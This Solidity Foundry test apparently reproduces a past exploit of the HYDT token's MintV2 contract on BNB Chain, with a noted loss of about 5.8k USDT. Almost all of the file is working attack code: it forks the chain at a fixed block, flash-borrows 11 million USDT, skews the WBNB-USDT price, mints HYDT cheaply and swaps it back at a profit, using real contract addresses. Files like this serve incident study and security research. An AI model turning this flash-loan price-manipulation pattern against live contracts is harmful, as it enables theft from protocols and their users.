src/test/2024-10/HYDT_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// reason : price manipulation,mintv2 use wbnb-usdt pair price to mint Token
8// guy    : https://x.com/TenArmorAlert/status/1844241843518951451
9// tx     : https://app.blocksec.com/explorer/tx/bsc/0xa9df1bd97cf6d4d1d58d3adfbdde719e46a1548db724c2e76b4cd4c3222f22b3?line=58
10// total loss : 5.8kusdt
11 
12contract ContractTest is Test {
13    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
14    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15    Uni_Pair_V3 pool = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
16    Uni_Pair_V2 pair = Uni_Pair_V2(0x5E901164858d75852EF548B3729f44Dd93209c9c);
17    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
18    Uni_Router_V3 routerV3 = Uni_Router_V3(0x1b81D678ffb9C0263b24A97847620C99d213eB14);
19    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
20    IERC20 HYDT = IERC20(0x9810512Be701801954449408966c630595D0cD51);
21    uint256 borrow_amount;
22    address MintV2 = 0xA2268Fcc2FE7A2Bb755FbE5A7B3Ac346ddFeDB9B;
23 
24    function setUp() external {
25        cheats.createSelectFork("bsc", 42_985_310);
26        deal(address(USDT), address(this), 0);
27        // deal(address(WBNB), address(this), 11 ether);
28    }
29 
30    function testExploit() external {
31        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
32        borrow_amount = 11_000_000 ether;
33        pool.flash(address(this), borrow_amount, 0, "");
34        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
35    }
36 
37    function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {
38        console.log("pancakeV3FlashCallback");
39        console.log(USDT.balanceOf(address(this)));
40        swap_token_to_token(address(USDT), address(WBNB), USDT.balanceOf(address(this)));
41        WBNB.withdraw(11 ether);
42        (bool success,) = MintV2.call{value: 11 ether}(abi.encodeWithSignature("initialMint()"));
43        uint256 v3_amount = HYDT.balanceOf(address(this)) / 2;
44        HYDT.approve(address(routerV3), v3_amount);
45        Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
46            tokenIn: address(HYDT),
47            tokenOut: address(USDT),
48            deadline: type(uint256).max,
49            recipient: address(this),
50            amountIn: v3_amount,
51            amountOutMinimum: 0,
52            sqrtPriceLimitX96: 0,
53            fee: 500
54        });
55        routerV3.exactInputSingle(_Params);
56        swap_token_to_token(address(HYDT), address(WBNB), HYDT.balanceOf(address(this)) / 2);
57        swap_token_to_token(address(HYDT), address(USDT), HYDT.balanceOf(address(this)));
58        swap_token_to_token(address(WBNB), address(USDT), WBNB.balanceOf(address(this)));
59        USDT.transfer(address(pool), borrow_amount + fee0);
60        console.log(fee0);
61    }
62 
63    function swap_token_to_token(address a, address b, uint256 amount) internal {
64        IERC20(a).approve(address(router), amount);
65        address[] memory path = new address[](2);
66        path[0] = address(a);
67        path[1] = address(b);
68        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
69    }
70 
71    receive() external payable {}
72}